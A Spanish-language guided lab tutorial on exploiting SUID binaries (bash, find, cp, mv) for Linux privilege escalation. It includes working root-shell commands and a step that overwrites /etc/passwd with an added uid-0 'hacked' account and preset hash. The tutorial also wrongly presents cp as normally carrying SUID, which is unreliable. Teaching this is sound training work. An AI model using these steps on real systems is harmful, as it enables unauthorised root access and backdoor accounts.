Explotación de Binarios SUID para la Elevación de Privilegios en Linux

NmapBeginner
Practicar Ahora

Introducción

En este laboratorio, aprenderás sobre el permiso SUID (Set user ID upon execution, establecer el ID de usuario al ejecutar) y cómo aprovecharlo para la escalada de privilegios en sistemas Linux. El objetivo es obtener acceso como root explotando binarios SUID con diversas técnicas, incluyendo el uso de los comandos bash, find, cp y mv.

Este es un Guided Lab, que proporciona instrucciones paso a paso para ayudarte a aprender y practicar. Sigue las instrucciones cuidadosamente para completar cada paso y obtener experiencia práctica. Los datos históricos muestran que este es un laboratorio de nivel principiante con una tasa de finalización del 95%. Ha recibido una tasa de reseñas positivas del 96% por parte de los estudiantes.

Comprendiendo SUID

En este paso, comprenderás el concepto del permiso SUID y sus implicaciones.

Por lo general, cuando se ejecuta un programa en Linux, se ejecuta con los permisos del usuario actual. Sin embargo, algunos programas, como cp, requieren privilegios elevados para realizar ciertas operaciones, como copiar archivos a directorios restringidos. Para permitir que los usuarios normales ejecuten tales programas con privilegios elevados, se puede establecer el permiso SUID en el archivo ejecutable.

SUID significa "Set user ID upon execution" (Establecer el ID de usuario al ejecutar). Cuando un archivo tiene el permiso SUID establecido, se ejecuta con los permisos de su propietario, independientemente del usuario que lo ejecute. Por ejemplo, el comando cp es propiedad del usuario root y tiene el bit SUID establecido, lo que permite que cualquier usuario lo ejecute con privilegios de root.

Para verificar el permiso SUID en el comando cp y guardar la salida en un archivo, ejecuta el siguiente comando:

ls -l /usr/bin/cp > /home/labex/project/suid_cp.txt

Visualiza el contenido del archivo suid_cp.txt utilizando el siguiente comando:

cat /home/labex/project/suid_cp.txt

Salida esperada:

-rwsr-xr-x 1 root root 141832 Feb  8  2024 /usr/bin/cp

Deberías ver una s en los bits de permiso, lo que indica el permiso SUID.

Si bien el SUID puede ser útil para permitir que los usuarios normales ejecuten comandos privilegiados específicos, también puede ser explotado si el binario SUID proporciona funcionalidad para ejecutar comandos del sistema o modificar archivos.

Explotando SUID con bash

En este paso, aprenderás cómo explotar el comando bash con permiso SUID para la escalada de privilegios.

  1. Primero, abre una terminal y navega al directorio /home/labex/project.

    cd /home/labex/project

    Verifica los permisos del comando bash.

    ls -l /bin/bash

    Salida esperada:

    -rwsr-xr-x 1 root root 1037520 Feb 5 2022 /bin/bash
  2. Si el comando bash tiene el bit SUID establecido, puedes aprovecharlo para ejecutar comandos del sistema con privilegios de root utilizando el siguiente comando:

    bash -p

    Utilizando whoami, puedes verificar que tienes una shell de root.

    whoami

    Salida esperada:

    root
  3. Ahora, puedes crear un archivo llamado root.txt en el directorio /root y verificar el contenido del archivo.

    touch /root/root.txt

    Deberías ver el archivo root.txt en el directorio /root.

Explotando SUID con find

En este paso, aprenderás cómo explotar el comando find con permiso SUID para la escalada de privilegios.

Después del último paso, deberías tener una shell de root. Para este paso, necesitas cerrar la sesión de la shell de root y volver a iniciar sesión como el usuario labex mediante el comando exit o abriendo una nueva terminal.

  1. Primero, navega al directorio /home/labex/project:

    cd /home/labex/project

    Verifica los permisos del comando find:

    ls -l /usr/bin/find

    Si el comando find tiene el bit SUID establecido, puedes aprovecharlo para ejecutar comandos del sistema con privilegios de root.

  2. La sintaxis para ejecutar un comando con find es:

    find < file > -exec < command > \;

    Aquí, <file> puede ser cualquier archivo. Creemos un archivo llamado test:

    touch test
  3. Ahora, puedes ejecutar comandos utilizando find:

    find test -exec whoami \;

    Esto ejecutará el comando whoami con privilegios de root. Sin embargo, este método no es conveniente para comandos interactivos como ssh o su.

  4. Para obtener una shell de root más conveniente, puedes ejecutar el comando /bin/bash:

    find test -exec /bin/bash -p \;

    Nota: La bandera -p es necesaria para preservar el ID de usuario efectivo (EUID, por sus siglas en inglés) y evitar que se restablezca al ID de usuario real (RUID, por sus siglas en inglés).

  5. Ahora deberías tener una shell de root. Crea un archivo llamado root.txt en el directorio /root y verifica el contenido del archivo:

    touch /root/root.txt

    Deberías ver el archivo root.txt en el directorio /root.

Explotando SUID con cp y mv

En este paso, aprenderás cómo explotar los comandos cp y mv con permiso SUID para la escalada de privilegios modificando el archivo /etc/passwd o /etc/shadow.

Después del último paso, deberías tener una shell de root. Para este paso, necesitas cerrar la sesión de la shell de root y volver a iniciar sesión como el usuario labex mediante el comando exit o abriendo una nueva terminal.

  1. Primero, navega al directorio /home/labex/project:

    cd /home/labex/project

    Verifica los permisos del comando cp:

    ls -l /bin/cp

    Si el comando cp tiene el bit SUID establecido, puedes continuar con la explotación.

  2. Copia el contenido de /etc/passwd a un archivo en tu directorio personal:

    cat /etc/passwd > /home/labex/project/passwd
  3. Crea una nueva entrada de usuario con los siguientes detalles:

  • Nombre de usuario: hacked

  • Contraseña: pass123

    Inserta la siguiente línea al final del archivo /home/labex/project/passwd:

    echo 'hacked:$1$ignite$3eTbJm98O9Hz.k1NTdNxe1:0:0:root:/root:/bin/bash' >> /home/labex/project/passwd
  1. Ahora, utiliza el comando cp con permiso SUID para sobrescribir el archivo /etc/passwd:

    cp /home/labex/project/passwd /etc/passwd
  2. Después de sobrescribir el archivo, puedes cambiar al usuario hacked con la contraseña pass123 utilizando el comando su:

    su hacked

Dado que el usuario hacked tiene un ID de usuario (uid) de 0, tendrás privilegios de root.

El método de explotación para el comando mv es similar al de cp. Puedes probarlo tú mismo.

Buscando binarios SUID

En este paso, aprenderás cómo encontrar binarios SUID en un sistema que potencialmente pueden ser explotados para la escalada de privilegios.

  1. Puedes utilizar los siguientes comandos para listar todos los archivos ejecutables con el bit SUID establecido:

    find / -user root -perm -4000 -print 2> /dev/null
    find / -perm -u=s -type f 2> /dev/null
    find / -user root -perm -4000 -exec ls -ldb {} \;
  2. Navega al directorio /home/labex/project para realizar los siguientes pasos.

    cd /home/labex/project
  3. Elige cualquiera de los comandos para listar los binarios SUID en el sistema y analiza la salida.

    find / -user root -perm -4000 -print 2> /dev/null > check_results.txt

    Verifica el contenido del archivo check_results.txt para ver la lista de binarios SUID en el sistema.

    cat check_results.txt

    Sin embargo, la salida puede contener muchos archivos que no se pueden explotar para la escalada de privilegios, lo que requiere un análisis manual.

Resumen

En este laboratorio, aprendiste sobre el permiso SUID y cómo aprovechar varios binarios SUID, como bash, find, cp y mv, para la escalada de privilegios en sistemas Linux. Adquiriste experiencia práctica en la explotación de estos binarios para obtener acceso de root, que es una habilidad crucial en el campo de la ciberseguridad. El laboratorio proporcionó un escenario práctico y te guió a través de los pasos para comprender y aplicar las técnicas de manera efectiva.